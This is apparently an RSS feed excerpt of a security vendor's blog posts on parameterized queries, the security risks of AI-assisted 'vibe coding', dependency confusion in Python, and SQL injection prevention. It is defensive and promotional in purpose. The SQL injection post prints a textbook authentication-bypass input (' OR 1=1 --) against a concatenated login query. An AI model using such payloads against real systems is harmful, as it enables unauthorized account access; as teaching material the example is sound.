&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In PHP with PDO:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$stmt = $pdo-&amp;gt;prepare("SELECT * FROM users WHERE name = :name");
$stmt-&amp;gt;execute(['name' =&amp;gt; $input]);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Across all these examples, &lt;strong&gt;parameterized queries&lt;/strong&gt; prevent injection without needing to guess which characters might be dangerous. You don’t need &lt;code&gt;stripchar&lt;/code&gt;, you need structured, context-aware query construction.&lt;/p&gt;

&lt;p&gt;Additionally, this technique blocks obfuscated payloads, Unicode tricks, and encoding bypasses, the same evasive patterns found in &lt;a href="https://xygeni.io/blog/xss-vulnerabilities-how-sast-tools-can-prevent-them/" rel="noopener noreferrer"&gt;XSS vulnerabilities&lt;/a&gt;. Tools like Xygeni catch these threats early with &lt;strong&gt;SAST analysis&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In short, real defenses don’t rely on filters. They rely on protocols, trusted APIs, and full context. If you use frameworks or dynamic service injection, be aware of how inputs propagate through your codebase. &lt;a href="https://xygeni.io/blog/python-dependency-injection-how-to-do-it-safely/" rel="noopener noreferrer"&gt;Secure dependency injection&lt;/a&gt; ensures even complex flows won’t open up new attack surfaces.&lt;/p&gt;

&lt;h2&gt;
  
  
  Don’t Rely on &lt;code&gt;stripchar&lt;/code&gt;. Use Xygeni to Enforce Real Defenses
&lt;/h2&gt;

&lt;p&gt;Even if you use &lt;strong&gt;parameterized queries&lt;/strong&gt;, there’s no guarantee your whole codebase follows the same standard. Legacy logic, third-party scripts, or overlooked lines in a PR can still introduce injection risks. That’s exactly where Xygeni helps.&lt;/p&gt;

&lt;p&gt;Xygeni scans your source code, pull requests, and CI pipelines to catch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Query strings that build SQL with concatenation
&lt;/li&gt;
&lt;li&gt;Weak or homegrown filters like &lt;code&gt;stripchar&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Suspicious logic that matches known obfuscated payloads
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You don’t need to comb through every line. Xygeni flags unsafe patterns early, applies &lt;strong&gt;AutoFix&lt;/strong&gt; where possible, and can block risky merges with customizable &lt;strong&gt;Guardrails&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In short, &lt;strong&gt;Xygeni makes sure parameterized queries aren’t just a best practice, they’re enforced at scale.&lt;/strong&gt; No more guesswork. No missed filters. Just real protection.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways: What to Remember About &lt;code&gt;stripchar&lt;/code&gt; and Injection Risks
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;stripchar&lt;/code&gt; is not a security function&lt;/strong&gt; — it removes characters, not risk.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Input sanitization isn’t enough&lt;/strong&gt; when you’re building queries with string concatenation.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parameterized queries are the correct defense&lt;/strong&gt;, and every modern language or framework supports them.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Obfuscated payloads can slip past filters&lt;/strong&gt;, especially if encoding tricks are involved.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Static analysis (SAST) tools catch what humans miss&lt;/strong&gt;, including insecure patterns hiding in legacy code.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Xygeni automates detection, prioritization, and even remediation&lt;/strong&gt; so your team can focus on writing features, not chasing vulnerabilities.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion: Don’t Trust Filters. Secure by Design.
&lt;/h2&gt;

&lt;p&gt;Relying on functions like &lt;code&gt;stripchar&lt;/code&gt; may feel like a quick fix, but they create a false sense of security. Attackers evolve faster than string filters do. The only reliable way to stop injection attacks is by writing secure code by design, and enforcing that design everywhere.&lt;/p&gt;

&lt;p&gt;Tools like Xygeni help you do that automatically. From pull request to pipeline, they catch what your filters don’t, and fix it before it reaches production.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>appsec</category>
      <category>devops</category>
      <category>security</category>
    </item>
    <item>
      <title>Vibe Coding: Trend or Security Disaster Waiting to Happen?</title>
      <dc:creator>Fátima Said</dc:creator>
      <pubDate>Thu, 10 Jul 2025 16:40:00 +0000</pubDate>
      <link>https://forem.com/xygenisecurity/vibe-coding-trend-or-security-disaster-waiting-to-happen-eb5</link>
      <guid>https://forem.com/xygenisecurity/vibe-coding-trend-or-security-disaster-waiting-to-happen-eb5</guid>
      <description>&lt;h2&gt;
  
  
  Introduction: Coding with Vibes, Not Syntax
&lt;/h2&gt;

&lt;p&gt;Typing line after line of code? That’s starting to feel old-school.&lt;/p&gt;

&lt;p&gt;In 2025, many developers are switching to a new workflow powered by &lt;a href="https://xygeni.io/blog/generative-ai-for-developers/?utm_source=devto&amp;amp;utm_medium=devto&amp;amp;utm_campaign=product" rel="noopener noreferrer"&gt;AI tools&lt;/a&gt; like GitHub Copilot, Cursor, and Replit. Instead of writing everything by hand, they describe what they want in plain English and let the model generate the code. It’s fast, intuitive, and oddly satisfying.&lt;/p&gt;

&lt;p&gt;This new style has a name: vibe coding.&lt;/p&gt;

&lt;p&gt;But is it the future of development or just a fast track to insecure, unmaintainable code?&lt;/p&gt;

&lt;p&gt;Let’s break it down.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is Vibe Coding?
&lt;/h2&gt;

&lt;p&gt;Vibe coding is a new programming style where developers interact with AI tools in a conversational flow. Instead of writing code directly, they guide large language models (LLMs) using natural-language prompts to generate full functions or entire files.&lt;/p&gt;

&lt;p&gt;You don’t code line by line, you follow the vibe.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where It Comes From
&lt;/h2&gt;

&lt;p&gt;The phrase “vibe coding” was coined by Andrej Karpathy, former Tesla and OpenAI leader, in a 2025 tweet that quickly went viral.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://x.com/karpathy/status/1886192184808149383" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3l79b90mvw5xnu4vjif4.png" alt="Andrej Karpathy-vibecoding" width="571" height="363"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Vibe Coding Is Gaining Popularity
&lt;/h2&gt;

&lt;p&gt;Vibe coding is quickly gaining traction, especially among developers working on side projects, prototypes, and early-stage products. Several factors explain why this prompt-driven style has taken off.&lt;/p&gt;

&lt;h3&gt;
  
  
  Speed Without Sacrificing Flow
&lt;/h3&gt;

&lt;p&gt;One major appeal of vibe coding is its ability to keep developers in the zone. Instead of typing every line, they describe the goal, such as “create an API endpoint”, and let the LLM generate the code. This shortens the feedback loop, reduces context switching, and supports a fast-paced development rhythm.&lt;br&gt;
&lt;a href="https://dev.tourl"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Built Into Everyday Tools
&lt;/h3&gt;

&lt;p&gt;Another reason for the rise of vibe coding is the growing availability of integrated AI tools. Platforms like GitHub Copilot, Cursor, and Replit have embedded LLM-driven coding assistants directly into IDEs. As a result, developers can stay within their coding environment while interacting with the model. There is no need to jump between tabs or manage separate tools.&lt;/p&gt;
&lt;h3&gt;
  
  
  Lower Barrier for New Developers
&lt;/h3&gt;

&lt;p&gt;For those still learning or exploring unfamiliar frameworks, vibe coding provides an accessible way to build. Instead of relying on documentation or tutorials, developers prompt the model with plain-language instructions. This allows beginners to focus on what they want to achieve, not on memorizing syntax.&lt;/p&gt;
&lt;h3&gt;
  
  
  Ideal for Fast Iteration
&lt;/h3&gt;

&lt;p&gt;Finally, vibe coding fits perfectly in use cases that prioritize speed over polish. For early prototypes, MVPs, or one-off internal tools, it is more important to test ideas quickly than to maintain perfect code structure. Because vibe coding streamlines development, it helps teams validate concepts faster, without slowing down for formal reviews or documentation.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Risks of Vibe Coding in Secure Dev Environments
&lt;/h2&gt;

&lt;p&gt;While vibe coding can accelerate prototyping, it also introduces real risks when used in production or secure environments. Understanding these trade-offs is essential, especially when your codebase affects business-critical systems or customer data.&lt;/p&gt;
&lt;h3&gt;
  
  
  Security Vulnerabilities
&lt;/h3&gt;

&lt;p&gt;Because vibe coding relies on AI-generated suggestions, developers may unknowingly introduce insecure patterns. As noted by &lt;a href="https://cset.georgetown.edu/publication/cybersecurity-risks-of-ai-generated-code/" rel="noopener noreferrer"&gt;CSET’s 2024 study&lt;/a&gt; on AI-generated code, LLMs can produce code that lacks input validation, uses outdated libraries, or fails to follow secure development practices. Without proper review, these issues can go undetected and reach production.&lt;/p&gt;
&lt;h3&gt;
  
  
  Technical Debt
&lt;/h3&gt;

&lt;p&gt;Another concern is the accumulation of unreviewed or unexplained logic. Developers working in a flow state may accept blocks of generated code without fully understanding them. Over time, this increases technical debt, making future maintenance harder and more error-prone.&lt;/p&gt;
&lt;h3&gt;
  
  
  Data Leakage
&lt;/h3&gt;

&lt;p&gt;Vibe coding tools often require context about your project. If not properly configured, they may send sensitive snippets to external APIs, risking exposure of internal logic, secrets, or customer data. This is especially problematic in regulated industries where data handling policies are strict.&lt;/p&gt;
&lt;h3&gt;
  
  
  Lack of Contextual Understanding
&lt;/h3&gt;

&lt;p&gt;LLMs excel at pattern generation but lack situational awareness. They may suggest a working solution that is technically valid but contextually inappropriate, such as using the wrong algorithm, misaligning with business logic, or violating internal policies. In secure environments, this can lead to functional bugs or security gaps.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Want to go deeper into securing AI-generated code?&lt;br&gt;&lt;br&gt;
Learn how to combine AI with static analysis to catch vulnerabilities before they hit production.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Real-World Vibe Coding Example: Fast, But Risky
&lt;/h2&gt;

&lt;p&gt;Let’s say a developer prompts their LLM with:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Write Python code to upload a file to S3 using boto3."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The LLM might suggest:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import boto3

s3 = boto3.client('s3',
    aws_access_key_id='AKIA123456789EXAMPLE',
    aws_secret_access_key='abc123verysecretkey')

s3.upload_file('file.txt', 'my-bucket', 'file.txt')

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code works. However, it introduces a critical secret, an AWS key, directly into the source code. In a real project, this could lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Secret leakage through git history&lt;/li&gt;
&lt;li&gt;Full access to AWS resources if pushed to GitHub&lt;/li&gt;
&lt;li&gt;Compromised infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because vibe coding often favors momentum over validation, the developer may not pause to sanitize or rotate credentials.&lt;/p&gt;

&lt;p&gt;This is why tools like &lt;strong&gt;&lt;a href="https://xygeni.io/?utm_source=devto&amp;amp;utm_medium=devto&amp;amp;utm_campaign=product" rel="noopener noreferrer"&gt;Xygeni&lt;/a&gt;&lt;/strong&gt; are essential. Guardrails can detect exposed secrets, fail the build, and cancel the merge in GitHub, before damage is done.&lt;/p&gt;

&lt;h2&gt;
  
  
  Popular Vibe Coding Tools (and Their Security Implications)
&lt;/h2&gt;

&lt;p&gt;Vibe coding wouldn’t exist without the rise of AI-powered development tools. These platforms make it easy to prompt code, stay in flow, and build faster. However, not all of them are designed with secure software development in mind.&lt;/p&gt;

&lt;p&gt;Here are the most widely used vibe coding tools:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/features/copilot" rel="noopener noreferrer"&gt;GitHub Copilot&lt;/a&gt;&lt;/strong&gt;: The original LLM pair programmer. Integrated with VS Code, it autocompletes code based on natural-language prompts. It accelerates development, although it has been shown to suggest vulnerable code patterns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://cursor.com/" rel="noopener noreferrer"&gt;Cursor&lt;/a&gt;&lt;/strong&gt;: A fork of VS Code that’s been rebuilt around prompting. Cursor allows you to talk directly to your codebase using an embedded chat. It’s popular for its speed but lacks strict controls on suggestions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://replit.com/ai" rel="noopener noreferrer"&gt;Replit Ghostwriter&lt;/a&gt;&lt;/strong&gt;: A cloud-based coding environment ideal for prototyping. Developers can describe features in plain English and get instant results. However, it often lacks enterprise-grade security protections.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://windsurf.com/" rel="noopener noreferrer"&gt;Codeium &lt;/a&gt;and &lt;a href="https://workshops.aws/categories/CodeWhisperer" rel="noopener noreferrer"&gt;CodeWhispere&lt;/a&gt;r&lt;/strong&gt;: Other Copilot-like tools that plug into your IDE and generate code on demand.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these tools makes vibe coding possible. Yet without proper validation, you may introduce insecure code, hardcoded secrets, or deprecated libraries directly into production.&lt;/p&gt;

&lt;p&gt;That’s why you need more than autocomplete. You need enforcement, visibility, and the ability to cancel merge in GitHub when something risky slips through. &lt;strong&gt;Xygeni&lt;/strong&gt; adds this missing security layer, helping you merge safely even in fast-paced, prompt-driven environments.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Vibe Code Without Compromising Security
&lt;/h2&gt;

&lt;p&gt;Vibe coding isn’t the problem. Trusting AI-generated code without any security guardrails is.&lt;/p&gt;

&lt;p&gt;If you’re using GitHub Copilot, ChatGPT, or similar vibe coding tools to move faster, here’s how to avoid turning that speed into security debt.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Don’t Just Paste and Ship
&lt;/h3&gt;

&lt;p&gt;AI doesn’t understand your architecture, trust boundaries, or business logic. Before you merge anything:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Replace all placeholders and dummy values&lt;/li&gt;
&lt;li&gt;Validate auth flows, input handling, and error logic&lt;/li&gt;
&lt;li&gt;Watch out for dangerous patterns like &lt;code&gt;eval()&lt;/code&gt;, insecure regex, or dynamic imports&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Scan Every Pull Request
&lt;/h3&gt;

&lt;p&gt;The best way to catch AI-generated risks? Automate PR scanning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Xygeni&lt;/strong&gt; plugs directly into your GitHub workflows and checks for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://xygeni.io/open-source-security/?utm_source=devto&amp;amp;utm_medium=devto&amp;amp;utm_campaign=product" rel="noopener noreferrer"&gt;Vulnerable dependencies (SCA)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://xygeni.io/secrets-security/?utm_source=devto&amp;amp;utm_medium=devto&amp;amp;utm_campaign=product" rel="noopener noreferrer"&gt;Leaked secrets&lt;/a&gt; from AI-assisted commits&lt;/li&gt;
&lt;li&gt;Misconfigurations in &lt;a href="https://xygeni.io/cicd-security/?utm_source=devto&amp;amp;utm_medium=devto&amp;amp;utm_campaign=product" rel="noopener noreferrer"&gt;CI/CD files&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Insecure code patterns with &lt;a href="https://xygeni.io/xygeni-code-security/?utm_source=devto&amp;amp;utm_medium=devto&amp;amp;utm_campaign=product" rel="noopener noreferrer"&gt;SAST&lt;/a&gt; and &lt;a href="https://xygeni.io/infrastructure-as-code-security/?utm_source=devto&amp;amp;utm_medium=devto&amp;amp;utm_campaign=product" rel="noopener noreferrer"&gt;IaC checks&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We don’t just raise issues, we stop unsafe merges.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Don’t Paste Secrets into AI Tools
&lt;/h3&gt;

&lt;p&gt;Everything you paste into an AI model could stick around longer than you think. Avoid prompting with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;.env&lt;/code&gt; files&lt;/li&gt;
&lt;li&gt;API tokens, credentials, or private URLs&lt;/li&gt;
&lt;li&gt;Infrastructure details (IAM roles, cloud configs)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Need help with sensitive code? Use redacted snippets or local tools.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Treat AI Like a Junior Developer
&lt;/h3&gt;

&lt;p&gt;Even if it runs, it might not be safe. Review AI code like it’s your intern’s first day:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Are the dependencies safe and maintained?&lt;/li&gt;
&lt;li&gt;Does it match your secure coding standards?&lt;/li&gt;
&lt;li&gt;Is it skipping edge cases or injecting logic flaws?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With &lt;strong&gt;Xygeni Guardrails&lt;/strong&gt;, you can stop PRs that downgrade dependencies, alter sensitive files, or break key policies.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Verdict: Where Vibe Coding Fits in Secure Dev Workflows
&lt;/h2&gt;

&lt;p&gt;Here’s the bottom line: vibe coding can be a massive productivity unlock, or a fast track to security chaos.&lt;/p&gt;

&lt;p&gt;On the positive side, developers using tools like GitHub Copilot or ChatGPT can move faster, iterate more freely, and prototype without friction. Especially for internal tools, MVPs, or spike solutions, vibe coding can help teams get from idea to implementation quickly.&lt;/p&gt;

&lt;p&gt;However, without guardrails, you’re exposed.&lt;/p&gt;

&lt;p&gt;AI-generated code can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Introduce unpatched vulnerabilities&lt;/li&gt;
&lt;li&gt;Pull in risky or outdated dependencies&lt;/li&gt;
&lt;li&gt;Leak secrets into version control&lt;/li&gt;
&lt;li&gt;Contain logic flaws that go unnoticed until production&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Over time, this leads to technical debt, incident risk, and serious compliance headaches.&lt;/p&gt;

&lt;h2&gt;
  
  
  Balancing Speed and Safety in the Vibe Coding Era
&lt;/h2&gt;

&lt;p&gt;Vibe coding is not going away. But that doesn’t mean it’s safe by default.&lt;/p&gt;

&lt;p&gt;At &lt;strong&gt;Xygeni&lt;/strong&gt;, we believe security should be part of the developer experience, not an afterthought. That’s why we help you scan, enforce, and control every pull request and code suggestion, across the entire SDLC.&lt;/p&gt;

&lt;p&gt;You can code fast.&lt;br&gt;&lt;br&gt;
You can stay in flow.&lt;br&gt;&lt;br&gt;
And you can ship securely.&lt;/p&gt;

&lt;p&gt;With &lt;strong&gt;Xygeni&lt;/strong&gt;, vibe coding becomes a feature, not a liability.&lt;/p&gt;

</description>
      <category>vibecoding</category>
      <category>cybersecurity</category>
      <category>devops</category>
      <category>ai</category>
    </item>
    <item>
      <title>Python Dependency Injection: How to Do It Safely</title>
      <dc:creator>Fátima Said</dc:creator>
      <pubDate>Mon, 28 Apr 2025 07:53:56 +0000</pubDate>
      <link>https://forem.com/xygenisecurity/python-dependency-injection-how-to-do-it-safely-926</link>
      <guid>https://forem.com/xygenisecurity/python-dependency-injection-how-to-do-it-safely-926</guid>
      <description>&lt;p&gt;Modern software projects rely heavily on modular design and external libraries, which is why understanding dependency injection in Python is essential—not just for clean architecture, but for secure, scalable development. So, what is dependency injection in Python exactly? It’s a design pattern where components like services, clients, or connectors are passed into a class from the outside, instead of being created within it. When used correctly, Python dependency injection allows for better control over external dependencies, making applications easier to test and harder to compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Is Dependency Injection in Python?&lt;/strong&gt;&lt;br&gt;
Dependency injection (DI) is a software design pattern where objects get the resources they need—like services or clients—from the outside, instead of creating them internally.&lt;/p&gt;

&lt;p&gt;This promotes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Loose coupling between components&lt;/li&gt;
&lt;li&gt;Easier testing (e.g., mocking dependencies)&lt;/li&gt;
&lt;li&gt;More flexible configuration and reuse&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class EmailService:
    def __init__(self, smtp_client):
        self.smtp_client = smtp_client
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of hardcoding an SMTP client, you pass it in. This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can test with a fake client.&lt;/li&gt;
&lt;li&gt;You can switch implementations (e.g., local vs cloud).&lt;/li&gt;
&lt;li&gt;You control where your dependencies come from.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why Python Dependency Injection Has Security Implications&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you inject external code or configurations into your application, you open up potential security gaps. Dependency injection in Python helps structure software cleanly, but without proper controls, it can introduce serious risks.&lt;/p&gt;

&lt;p&gt;Many teams use Python dependency injection to improve flexibility and testing, but they often overlook the security side. If you don’t fully understand what is dependency injection in Python and how it affects your runtime behavior, you might unintentionally expose your app to vulnerable or untrusted components.&lt;/p&gt;

&lt;p&gt;Attackers often exploit this blind spot. In dependency confusion attacks, they publish malicious packages to public repositories with names that match internal packages. If your build system doesn’t verify the source, it may install the wrong one—giving attackers a direct path into your environment.&lt;/p&gt;

&lt;p&gt;Secrets leakage poses another major risk. Teams sometimes inject API keys, credentials, or tokens through environment variables or config files. Without scanning or sanitization, these secrets can end up exposed in logs, source control, or CI/CD workflows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real-World Example: Dependency Confusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In 2021, an ethical hacker uploaded packages to PyPI that mirrored internal names used by major tech companies. Because some build systems prioritized public over private packages, these fake packages were installed and executed inside trusted corporate environments.&lt;/p&gt;

&lt;p&gt;This attack highlights the importance of controlled dependency sourcing and validating all injected components—including sensitive configuration values.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to Secure Python Dependency Injection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Want the full breakdown? Read the complete post on our blog:&lt;br&gt;
&lt;a href="https://xygeni.io/blog/python-dependency-injection-how-to-do-it-safely/" rel="noopener noreferrer"&gt;Python Dependency Injection: How to Do It Safely&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>python</category>
    </item>
    <item>
      <title>How to Prevent SQL Injection</title>
      <dc:creator>Fátima Said</dc:creator>
      <pubDate>Thu, 03 Apr 2025 09:30:52 +0000</pubDate>
      <link>https://forem.com/xygenisecurity/how-to-prevent-sql-injection-2935</link>
      <guid>https://forem.com/xygenisecurity/how-to-prevent-sql-injection-2935</guid>
      <description>&lt;p&gt;SQL injections remain one of the most dangerous and widespread web application vulnerabilities. If not addressed, they can allow attackers to access, modify, or destroy sensitive data through poorly written database queries. That’s why understanding &lt;strong&gt;how to prevent SQL injection&lt;/strong&gt;—and applying &lt;strong&gt;proactive SQL injection testting&lt;/strong&gt;—is essential for every development and DevSecOps team today.&lt;/p&gt;

&lt;p&gt;A recent &lt;a href="https://www.sciencedirect.com/science/article/pii/S221421262400173X" rel="noopener noreferrer"&gt;ScienceDirect study&lt;/a&gt; revealed that **24.6% of real-world attacks still involve SQL injection **flaws, proving how persistent and impactful this threat remains.&lt;/p&gt;

&lt;p&gt;In this guide, we’ll cover:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What SQL injections are and how they work&lt;/li&gt;
&lt;li&gt;OWASP-recommended prevention techniques&lt;/li&gt;
&lt;li&gt;Key SQL injection testting strategies&lt;/li&gt;
&lt;li&gt;How Xygeni’s SAST engine detects SQL injection vulnerabilities early in the SDLC&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s dive into how to secure your code, shift security left, and defend your software supply chain from one of the oldest (and still active) attack methods.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;What Is SQL Injection?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;SQL Injection is a code-level attack where malicious input is inserted into SQL queries to manipulate or bypass database operations. It often occurs when user-supplied data is used in a query without proper validation or sanitization.&lt;/p&gt;

&lt;p&gt;For example, attackers can exploit login forms, search bars, or API parameters to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bypass authentication&lt;/li&gt;
&lt;li&gt;Retrieve sensitive data&lt;/li&gt;
&lt;li&gt;Delete or corrupt records&lt;/li&gt;
&lt;li&gt;Execute admin operations in the database**&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you want to prevent SQL injections, the first step is understanding how they work.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Real-World SQL Injection Example&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Take a simple Java login query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;String query = "SELECT * FROM users WHERE username = '" + user + "' AND password = '" + pass + "'";
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a user inputs this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;user: ' OR 1=1 --
pass: anything
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker gains access by making the condition always true. This is a textbook example of why SQL injection testting is so critical during development.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;How to Prevent SQL Injections: Practical Tips&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Want the full breakdown?&lt;/strong&gt; Read the complete post on our blog:&lt;br&gt;
&lt;a href="https://xygeni.io/blog/how-to-prevent-sql-injection/" rel="noopener noreferrer"&gt;How to Prevent SQL Injection (Xygeni Blog)&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tutorial</category>
      <category>devops</category>
      <category>security</category>
    </item>
  </channel>
</rss>
